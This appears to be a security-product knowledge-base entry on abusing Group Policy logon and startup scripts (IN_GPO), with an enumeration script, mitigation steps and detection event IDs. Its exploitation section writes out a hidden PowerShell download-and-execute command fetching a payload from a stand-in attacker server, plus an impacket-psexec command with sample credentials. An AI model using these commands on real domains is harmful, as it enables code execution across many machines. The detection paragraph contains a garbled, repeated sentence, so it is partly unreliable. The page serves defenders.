IN_GPO

Summary

FSProtect ACL Alias

IN_GPO

Affected Object Types

Scripts

Exploitation Certainty

Likely

Description

IN_GPO indicates that a script is included within a Group Policy Object (GPO), allowing it to run on domain-joined computers during logon/logoff and startup/shutdown events. Because GPOs serve as a central system for configuring and enforcing settings on many machines, a script marked with IN_GPO can perform all tasks permitted by these policies—such as installing software, modifying registry entries, or updating security controls—across the network. This is extremely useful for administrators who want to ensure consistent and automated configuration management throughout the domain.

However, if these scripts are misused or altered, they can become a serious security threat. Attackers who successfully insert malicious code into scripts marked IN_GPO could gain the same level of control as the script itself, allowing them to spread harmful programs, disable security features, or permanently change critical system settings. Therefore, maintaining the security and integrity of scripts in GPO is essential.

Identification

PowerShell

Group Policy Module

Using the GroupPolicy PowerShell module, you can enumerate GPOs containing logon/logoff/startup/shutdown scripts.

Function: Find-IN_GPO

function Find-IN_GPO {
    [CmdletBinding()]
    param (
        [string]$GPOGuid = $null,             # Specific GPO GUID to scan
        [string]$OutputPath = "GPOScripts.csv" # Output CSV path
    )

    # Load GroupPolicy module if not already loaded
    if (-not (Get-Module -Name GroupPolicy)) {
        Write-Host "Attempting to load GroupPolicy module..."
        try {
            Import-Module GroupPolicy
            Write-Host "GroupPolicy module loaded successfully."
        }
        catch {
            Write-Error "Failed to load GroupPolicy module. Please ensure RSAT-GroupPolicy is installed."
            return
        }
    }

    function Get-GPOScriptDetails {
        param ([Microsoft.GroupPolicy.Gpo]$GPO)
        $results = @()
        try {
            [xml]$report = Get-GPOReport -Guid $GPO.Id -ReportType Xml
            foreach ($context in @("Computer", "User")) {
                $data = $report.GPO.$context.ExtensionData | Where-Object { $_.Name -eq 'Scripts' }
                if ($data) {
                    foreach ($script in $data.Extension.Script) {
                        $results += [PSCustomObject]@{
                            GPOName      = $GPO.DisplayName
                            GPOID        = $GPO.Id
                            ScriptType   = $script.Type
                            ScriptPath   = $script.Command
                            Parameters   = $script.Parameters
                            Context      = $context
                            LastModified = $GPO.ModificationTime
                        }
                    }
                }
            }
        }
        catch {
            Write-Warning "Error processing GPO '$($GPO.DisplayName)': $_"
        }
        return $results
    }

    if ($GPOGuid) {
        Write-Host "Scanning specific GPO with GUID: $GPOGuid"
        try {
            $gpo = Get-GPO -Guid $GPOGuid -ErrorAction Stop
            $allScripts = Get-GPOScriptDetails -GPO $gpo
        }
        catch {
            Write-Error "Failed to retrieve GPO with GUID $GPOGuid: $($_.Exception.Message)"
            return
        }
    }
    else {
        Write-Host "Scanning all GPOs in the domain..."
        try {
            $allGPOs = Get-GPO -All -ErrorAction Stop
            $allScripts = $allGPOs | ForEach-Object { Get-GPOScriptDetails -GPO $_ }
        }
        catch {
            Write-Error "Failed to enumerate GPOs: $($_.Exception.Message)"
            return
        }
    }

    if ($allScripts.Count -gt 0) {
        Write-Host "Found $($allScripts.Count) script entry(ies) in GPO(s)."
        try {
            $allScripts | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -ErrorAction Stop
            Write-Output "Results exported successfully to '$OutputPath'"
        }
        catch {
            Write-Error "Failed to export results to CSV file '$OutputPath': $($_.Exception.Message)"
        }
    }
    else {
        Write-Output "No scripts found in GPO(s)."
    }
}

Usage Examples:

1. Scan all GPOs in the domain

Find-IN_GPO

2. Scan a specific GPO by GUID

Find-IN_GPO -GPOGuid "213650A4-1162-4DF8-9EE8-EA66DDFE7430"

3. Save results to a custom path

Find-IN_GPO -OutputPath "C:\Temp\MyGPOScan.csv"

Group Policy Management Editor (GUI)

1. Open Group Policy Management Editor.

2. Expand Computer Configuration or User Configuration.

3. Expand Windows Settings → Scripts.

4. Double-click the script policy.

5. Review scripts listed under Scripts and PowerShell Scripts tabs.

6. Click OK to close.

Exploitation

This permission can be exploitable on Windows systems, while on Linux systems, tools such as impacket tools can be effectively used for exploitation.

An attacker can abuse IN_GPO by inserting a malicious PowerShell or batch script into a logon/logoff or startup/shutdown script section of a Group Policy Object. Since these scripts are executed automatically on all domain-joined machines affected by the GPO, this provides a reliable way to achieve code execution at scale.

Attacker could add the following command to a logon script to download and execute a payload from a remote server.

Start-Process powershell -ArgumentList "-NoProfile -WindowStyle Hidden -Command iex (New-Object Net.WebClient).DownloadString('http://attacker-server/payload.ps1')"

When the GPO refreshes on target machines, the malicious payload will be executed without user interaction, granting the attacker remote code execution across multiple systems.

On Linux systems, impacket tools can be used to gain remote access and trigger execution of the injected script:

impacket-psexec '<domain>/<user login name>:<password>@<IP Address>'

In example:

impacket-psexec 'FORESTALL/ANGEL_ROSA:[email protected]'

After gaining a shell, the attacker can also force an immediate GPO update with:

gpupdate /force

Mitigation

You can mitigate IN_GPO with following steps:

1. Open Group Policy Management Editor.

2. Expand the Configuration (User or Computer)

3. Expand windows settings then click Scripts

4. Double click to the script policy.

5. In the scripts and PowerShell Scripts list, locate and remove scripts.

6. Click OK to close the dialogs.

Detection

Adding new Access Control Entries on the Active Directory objects changes the ntSecurityDescriptor attribute of the objects themselves. These changes can be detected with the 5136 and 4662 Event ID's to identify dangerous modifications. During Group Policy processing, the Scripts client-side extension is responsible for launching not only computer startup and shutdown scripts but also user logon and logoff scripts.Event ID 1130 is during Group Policy processing, the Scripts client-side extension is responsible for launching not only computer startup and shutdown scripts but also user logon and logoff scripts.

Event ID
Description
Fields/Attributes
References

5136

A directory service object was modified.

ntSecurityDescriptor

https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136

4662

An operation was performed on an object.

AccessList, AccessMask

https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662

1130

Group Policy Scripts Processing

AccessList, AccessMask

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd392581(v=ws.10)?redirectedfrom=MSDN

References

Last updated

Was this helpful?